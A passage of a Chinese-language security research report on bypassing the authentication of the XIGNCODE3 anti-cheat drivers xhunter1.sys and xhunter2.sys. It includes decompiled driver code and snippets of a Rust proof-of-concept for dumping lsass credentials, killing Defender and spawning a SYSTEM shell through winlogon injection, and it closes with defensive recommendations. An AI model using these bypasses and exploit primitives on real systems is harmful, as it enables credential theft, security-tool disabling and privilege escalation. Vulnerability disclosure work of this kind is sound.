if ( v7 >= *(_DWORD *)(a1 + 0xC) ) return 0;
}
return 0xC000000D;
绕过层 2:WBCC blob 中设置 count = 0 —— sub_1400029B8 立即返回成功,无需迭代任何证书链。
4.5 认证层 3:内核 PID 标志门
即使通过层 2,分发 handler 仍会执行 PID 门。sub_140009688 要求调用者 PID 的白名单表项满足 (flags & 0x80000008) == 0x80000008,白名单链表在 qword_140025FD8,以 pid ^ 0x20241015 为键。
IDA 实测:
// sub_140009688 @ 0x140009688 —— 认证门(IDA 实测)
bool sub_140009688()
{
unsigned int CurrentProcessId = PsGetCurrentProcessId();
return (sub_140009C40(CurrentProcessId) & 0x80000008) == 0x80000008;
}
// sub_140009C40 @ 0x140009C40 —— 白名单查找,键 = pid ^ 0x20241015(IDA 实测)
__int64 __fastcall sub_140009C40(int a1)
{
v2 = 0;
ExAcquireFastMutex(&FastMutex);
v3 = (PVOID *)qword_140025FD8;
if ( qword_140025FD8 != &qword_140025FD8 ) {
v4 = a1 ^ 0x20241015;
while ( *((_DWORD *)v3 + 4) != v4 ) {
v3 = (PVOID *)*v3;
if ( v3 == &qword_140025FD8 ) goto LABEL_7;
}
v2 = *((_DWORD *)v3 + 5);
}
LABEL_7:
ExReleaseFastMutex(&FastMutex);
return v2;
}
绕过层 3(README 所述,与 v1 同类):
cmd 777 (auth=1) → flags = 0x80000000 (bit 31)
cmd 779 (auth=0) → flags = 0xC0000000 (副作用 OR 上位 bit 30)
cmd 775 (auth=1) → flags = 0xC0000008 (bit 3 来自攻击者输入)
4.6 三层全部被绕过
三层各自的共同误区:身份是通过“持有某个存在于游戏内存中的工件、或由未认证 opcode 设置的工件”来证明的。
- 层 1(WBMF + Win32StartAddress):证明“持有已签名的 WBMF PE 且线程从其中启动” —— 但 WBMF PE 在同用户内存中,任何同用户进程都能读到。
- 层 2(WBCC 证书链):
count=0直接短路。 - 层 3(PID 标志门):未认证的 cmd 777/779/775 写入白名单。
因此,与 v1 相同的三个影响(凭据窃取、EDR 击杀、SYSTEM shell)在 v2026 驱动轨道上依然端到端成立。
4.7 cmd 787 跨进程读原语(v2,逐字节保留)
第 4 章开头已指出“原语(cmd 785 / 787 / 800)本身逐字节保留未变”。这里用 IDA 展开 v2 的 cmd 787 作证。v2 分发表初始化在 sub_140004FA8,其中 dword_140025870 = 0x313(787),其分发表项 type=2(dword_140025888=2)。分发器 sub_140005FF8 中 type=2 表示仅走 PID 门(层 3,sub_140009688)(WBCC 校验 sub_1400027F4 只在 type=1/3 时触发),随后因 3 参数槽位为 0 而调用 2 参数 handler sub_140005AAC:
// sub_140005AAC @ 0x140005AAC —— cmd 787 handler(v2,IDA 实测;type=2 → 仅 PID 门)
__int64 __fastcall sub_140005AAC(__int64 a1, _DWORD *a2)
{
a2[6] = 0x4A0; a2[7] = 0x20260507; a2[9] = 0xC0000001; a2[8] = ~*(_DWORD *)(a1 + 0x20);
if ( !sub_140009688() ) // ← PID 认证门(层 3)
goto LABEL_12;
v4 = *(_QWORD *)(a1 + 0x258); // 目标缓冲 VA(驱动侧)
v5 = *(_DWORD *)(a1 + 0x260); // 读取字节数
v6 = *(_QWORD *)(a1 + 0x250); // 目标进程内源地址
result = sub_14000B3D0(*(HANDLE*)(a1 + 0x248), 0x10, &Object); // 句柄 → EPROCESS
if ( result < 0 ) return result;
CurrentProcess = IoGetCurrentProcess();
if ( Object != CurrentProcess && sub_140009750(Object) ) { a2[9] = 0xC0000001; return 0; }
v10 = sub_14000BFDC(v4, v5, &Mdl); // 目标缓冲建 MDL
v11 = sub_14000C7CC(Object, v6, v10, v5, &v14); // KeStackAttachProcess 读
a2[0xA] = v14; a2[9] = v11;
sub_14000B5D0(Mdl, v10); // 清理 MDL
ObfDereferenceObject(Object);
return v11;
}
核心读原语 sub_14000C7CC 与 v1 的 sub_140008924 逐字节相同:
// sub_14000C7CC @ 0x14000C7CC —— KeStackAttachProcess 读(v2,IDA 实测)
__int64 __fastcall sub_14000C7CC(KPROCESS *a1, u64 a2, __int64 a3, unsigned int a4, unsigned int *a5)
{
KAPC_STATE ApcState; v8 = 0;
memset(&ApcState, 0, sizeof(ApcState));
KeStackAttachProcess(a1, &ApcState);
for ( i = 0; i < a4; ++i ) {
if ( a2 >= (u64)MmSystemRangeStart ) { v8 = 0x8000000D; break; } // 禁止读内核地址
*(_BYTE *)(i + a3) = *(_BYTE *)(i + a2); // 逐字节 memcpy
}
*a5 = i;
KeUnstackDetachProcess(&ApcState);
return v8;
}
配套辅助函数与 v1 同构(IDA 实测):sub_14000B3D0(句柄→进程,ObReferenceObjectByHandle + 访问位穷举)、sub_14000BFDC→sub_14000BFEC(IoAllocateMdl+MmProbeAndLockPages+MmMapLockedPagesSpecifyCache)、sub_14000B5D0(MmUnmapLockedPages+MmUnlockPages+IoFreeMdl)、sub_140009750(目标进程白名单/保护检查)。
结论:v2 仅仅是给同一套 cmd 787 原语套上了三层认证包裹;原语代码本身与 v1 一致。三层认证全部被绕过(见 4.6)后,这个跨进程读原语与 v1 拥有完全相同的攻击能力。
5. AxHunter 项目
AxHunter 是一个 Cargo workspace,包含三个 crate,是上述两个漏洞的 PoC 实现。
5.1 项目结构
AxHunter/
├── Cargo.toml workspace manifest
├── axhunter-lsa/ 共享 crate——驱动无关的 LSA 提取(MemReader trait、
│ LDR walk、BCrypt 3DES 密钥提取、LogonSessionList、
│ WDigest)。两个 PoC 共用。
├── axhunter_v1/ xhunter1.sys v2023.12.7.78(无 CVE)
└── axhunter_v2/ xhunter2.sys v2026.6.1.192(CVE-2026-15430)
每个 PoC crate 携带自己的目标驱动二进制(xhunter1.sys、xhunter2.sys),axhunter_v2/src/ 中还有从活动 WindSlayer.exe 进程提取的 Wellbia WBMF 模块(wbmf_module.dll)。
统一 CLI:
AxHunter_v1.exe -m {dump|kill|lpe|all} [-t <pid|image>] [-d <device>]
AxHunter_v2.exe -m {dump|kill|lpe|all} [-t <pid|image>] [-d <device>]
5.2 axhunter_v1 实现
src/driver.rs 实现 Xhunter:open_driver() 每次调用先跑 cmd 777 + cmd 775 认证绕过链,再发真实命令。关键常量:
const XHUNTER_MAGIC: u32 = 0x345821AB;
const CMD_OPEN_PROCESS: u32 = 785; // PPL 绕过句柄
const CMD_READ_MEMORY: u32 = 787; // KeStackAttachProcess + memcpy
const CMD_CLOSE_HANDLE: u32 = 800; // handle stomp
const CMD_INJECT_THREAD: u32 = 815; // 0x32F — 内核注入链(与分发表一致,正确,见 §3.5)
const CMD_REGISTER_SELF: u32 = 777; // 登记自身 + bit 31
const CMD_SET_PID_FLAGS: u32 = 775; // 写任意 PID 低 16 位标志
unlock_self() 实现认证绕过:
pub fn unlock_self(&self) -> Result<()> {
let pid = unsafe { GetCurrentProcessId() };
// cmd 777: 登记自身 + 设置 bit 31。0xC0000001 表示"已登记"——可接受。
let (s, _) = self.send_cmd(CMD_REGISTER_SELF, |_| {})?;
if s < 0 && (s as u32) != 0xC0000001 { ... }
// cmd 775: 为自身 PID 写入低 16 位标志 0x0008
let (s, _) = self.send_cmd(CMD_SET_PID_FLAGS, |req| unsafe {
*(req.as_mut_ptr().add(REQ_OFF_ARG0) as *mut u32) = pid;
*(req.as_mut_ptr().add(REQ_OFF_ARG1) as *mut u32) = 0x0008;
})?;
...
}
Session::attach() 用 ReadProcessMemory 探测 KUSER_SHARED_DATA(0x7FFE_0000),决定用 RPM 还是驱动侧 cmd 787 回退读取。
5.3 axhunter_v2 实现
src/proto.rs 实现新协议:帧构建、LCG-XOR 加解密、WBCC 构造、send_cmd。
pub const REQ_SZ: usize = 1184;
pub const RESP_SZ: usize = 786;
pub const SEED_KEY: u32 = 0x41414141;
pub const MAGIC_XOR: u32 = 0x70506202;
fn encrypt(buf: &mut [u8]) {
let sk = u32::from_le_bytes(buf[32..36].try_into().unwrap());
let mut s: u32 = 1864026567u32.wrapping_sub(1640531535u32.wrapping_mul(sk ^ 0x7B85F243));
for b in buf[36..].iter_mut() {
s = 1664525u32.wrapping_mul(s).wrapping_add(1013904223);
*b ^= ((s >> 23) & 0xFF) as u8;
}
}
pub fn make_wbcc(pe_base: u64) -> [u8; WBCC_LEN] {
let mut b = [0u8; WBCC_LEN];
b[0..4].copy_from_slice(b"WBCC");
b[4..6].copy_from_slice(&(WBCC_LEN as u16).to_le_bytes());
b[6..8].copy_from_slice(&1u16.to_le_bytes());
b[16..24].copy_from_slice(&pe_base.to_le_bytes());
// count 字段(偏移 12)保持 0 → 绕过层 2 证书链
b
}
src/wbmf.rs 实现层 1 绕过:map_wbmf() 用 include_bytes!("wbmf_module.dll") 把 Wellbia 的 WBMF DLL 映射到首选基址 0x10000000;install_trampoline() 写入 14 字节 FF 25 <abs64> JMP 蹦床;open_worker() 从蹦床(pe+0x500)启动线程执行 NtCreateFile,EA 携带 WBCT blob 把 PE base 交回驱动。
pub fn install_trampoline(pe_ptr: *mut u8, offset: usize, target: u64) {
let mut tramp = [0u8; 14];
tramp[0] = 0xFF; tramp[1] = 0x25;
tramp[6..14].copy_from_slice(&target.to_le_bytes());
unsafe { ptr::copy_nonoverlapping(tramp.as_ptr(), pe_ptr.add(offset), 14); }
}
蹦床约定(每个 worker 用映射 WBMF PE 内一个槽位):
pe + 0x500 → open_worker (device open)
pe + 0x520 → kill_worker (mode: kill)
pe + 0x540 → dump_worker (mode: dump)
pe + 0x560 → lpe_worker (mode: lpe)
5.4 三种攻击模式(dump / kill / lpe)
dump:cmd 785 拿lsass.exe句柄。v1 用 RPM/cmd 787 读;v2 用 cmd 787(KeStackAttachProcess+ 字节复制)作为读原语。LDR-walk 目标,在lsasrv.dll定位 BCrypt 3DES 密钥 + IV,走LogonSessionList,解密 NT/SHA1 哈希与 WDigest 明文(逻辑在共享 crateaxhunter-lsa)。v2 用 cmd 791(ZwQueryInformationProcess(ProcessHandleInformation=51))取目标句柄表快照。kill:cmd 785 拿目标句柄 → 枚举目标句柄表(v1 用NtQuerySystemInformation(SystemExtendedHandleInformation);v2 用 cmd 791)→ 对每个句柄执行 cmd 800(KeStackAttachProcess+ObSetHandleAttributes(KernelMode)+ZwClose)。可杀掉 PPL-Antimalware 的MsMpEng.exe。lpe:cmd 785 拿winlogon.exe句柄 →VirtualAllocEx+WriteProcessMemory+CreateRemoteThread运行 41 字节 shellcode:WinExec("cmd.exe", SW_SHOW)(v2 为WinExec("cmd.exe /c start cmd.exe", SW_SHOW))。子进程继承 winlogon 的NT AUTHORITY\SYSTEMtoken + Session 1。all:先 dump,再 killMsMpEng.exe,然后 lpe。单个模式失败不中断。
6. 反编译核实记录(IDA MCP)
本报告的以下反编译片段均通过 IDA MCP 在 xhunter1.sys(实例 id 0cy4)与 xhunter2.sys(实例 id 2zhx)两个已打开的 IDA 会话中实测取得,与博客文章一致:
| 函数 | 地址 | 驱动 | 内容 |
|---|---|---|---|
sub_140005E84 |
0x140005E84 |
v1 | 认证门 (flags & 0x80000008) == 0x80000008 |
sub_140006204 |
0x140006204 |
v1 | 白名单 Flink 遍历 |
sub_1400030B8 |
0x1400030B8 |
v1 | cmd 785 handler(已加门) |
sub_1400087F4 |
0x1400087F4 |
v1 | ObOpenObjectByPointer 包装器 |
sub_140003498 |
0x140003498 |
v1 | cmd 777 handler(无认证) |
sub_140006A10 |
0x140006A10 |
v1 | register_pid |
sub_140006418 |
0x140006418 |
v1 | 设置上位标志 |
sub_140001DD8 |
0x140001DD8 |
v1 | cmd 775 handler(无认证) |
sub_140003A1C |
0x140003A1C |
v1 | ObSetHandleAttributes + ZwClose |
sub_140003278 |
0x140003278 |
v1 | cmd 787 handler(认证门保护) |
sub_140008924 |
0x140008924 |
v1 | KeStackAttachProcess 逐字节读原语 |
sub_140007874 |
0x140007874 |
v1 | cmd 787 句柄→进程(访问位穷举) |
sub_1400081D0 |
0x1400081D0 |
v1 | cmd 787 MDL 映射目标缓冲 |
sub_140001FF8 |
0x140001FF8 |
v1 | cmd 800 handler(KeStackAttachProcess + 清属性 + 关闭) |
sub_14000C380 |
0x14000C380 |
v1 | 枚举目标句柄表并克隆匹配句柄 |
sub_140001E54 |
0x140001E54 |
v1 | cmd 815 handler(内核注入,无认证门) |
sub_14000A028 |
0x14000A028 |
v1 | cmd 815 目标解析 |
sub_14000A7A4 |
0x14000A7A4 |
v1 | cmd 815 注入核心(RWX 分配 + 起线程) |
sub_140002334 |
0x140002334 |
v1 | cmd 816 handler(返回内部状态结构,非注入) |
sub_140001FB4 |
0x140001FB4 |
v1 | cmd 817 handler(完整性报告,无认证门) |
sub_140003D28 |
0x140003D28 |
v1 | cmd 817 报告子分发器 |
sub_14000F5AC |
0x14000F5AC |
v2 | 帧接受门(magic 0x70506202) |
sub_140002C80 |
0x140002C80 |
v2 | WBMF RSA-2048 校验器 |
sub_1400027F4 |
0x1400027F4 |
v2 | WBCC 每请求校验器 |
sub_1400029B8 |
0x1400029B8 |
v2 | WBCC 证书链迭代器(count=0 短路) |
sub_140009688 |
0x140009688 |
v2 | PID 认证门 |
sub_140009C40 |
0x140009C40 |
v2 | 白名单查找(键 pid ^ 0x20241015) |
sub_140005AAC |
0x140005AAC |
v2 | cmd 787 handler(type=2:仅 PID 门) |
sub_14000C7CC |
0x14000C7CC |
v2 | KeStackAttachProcess 逐字节读原语(与 v1 相同) |
说明:
cmd 815注入链、cmd 787读原语的具体反编译展开已在本报告 §3.4 / §3.5 / §4.7 中给出。所有代码均来自 IDA 分发表逐项核对 + 函数反编译,未虚构未验证的逻辑。注入原语经分发表核对确为 cmd 815(0x32F),与 AxHunter 源码CMD_INJECT_THREAD=815一致。完整性报告分发器实际挂在 cmd 817(0x331)(详见 §3.5)。
7. 影响、修复与防护建议
影响面:
xhunter1.sys(v2023.12.7.78)无 CVE,但在绝大多数 XIGNCODE3 保护游戏中仍在加载;驱动随游戏卸载后仍残留在C:\Windows,构成稳定 BYOVD 原语。xhunter2.sys(v2026.6.1.192)对应 CVE-2026-15430,但三层认证均被绕过。- 三个能力端到端成立:PPL
lsass.exe凭据窃取、击杀 PPL-AntimalwareMsMpEng.exe、经winlogon.exe的交互式 SYSTEM shell。
Wellbia 的修复尝试:对第一篇的回应是完整重写 xhunter2.sys(v2026.6.1.192),新增三层加密认证;但三层同属“身份由可被伪造/读取的工件证明”类的认知误区,全部被绕过。
防御建议(针对依赖方/宿主):
- 对受害游戏在机器上运行时进行完整安全审计,尤其关注
lsass.exe、winlogon.exe、EDR 进程的访问。 - 将
xhunter1.sys/xhunter2.sys加入漏洞驱动封禁(Vulnerable Driver Blocklist)——注意 VDBL 在此前并未拦截这些驱动。 - 依赖方应要求 Wellbia 提供覆盖整个驱动族的版本字符串/签名主体/字节特征封禁,而非单一哈希。
- 在游戏退出后主动清理残留驱动,避免 BYOVD 持久化。
8. 信息来源
- BlackSnufkin. Hunting the Hunter: A Live Kernel LPE 0day in Anti-Cheat on a Billion Machines(2026-08-04,更新 2026-08-05)。
xhunter1.sysv2023.12.7.78 技术分析。https://blacksnufkin.github.io/posts/Hunting-the-Hunter/ - BlackSnufkin. Hunting the Hunter II: Reversing xhunter2.sys and Its Three-Layer Authentication(2026-08-04,更新 2026-08-05)。
xhunter2.sysv2026.6.1.192 三层认证逆向。https://blacksnufkin.github.io/posts/Hunting-the-Hunter-II/ - BlackSnufkin. CVE-2026-3609 writeup: PPL-bypassing handle leak in XIGNCODE3 (xhunter1.sys). 旧版 v10.0.10011.16384 完整利用。https://blacksnufkin.github.io/posts/AntiCheat-LPE-CVE-2026-3609/
- CVE-2026-3609:https://www.cve.org/CVERecord?id=CVE-2026-3609
- CVE-2026-15430:https://www.cve.org/CVERecord?id=CVE-2026-15430
- Psychotropos(2018):
xhunter1.syslegacy 构建 LPE 首次公开分析。https://x86.re/blog/xigncode3-xhunter1.sys-lpe/(存档: https://web.archive.org/web/20180820182619/https://x86.re/blog/xigncode3-xhunter1.sys-lpe/ )
报告撰写日期:2026-08-06。本报告仅用于安全研究与防御参考。

浙公网安备 33010602011771号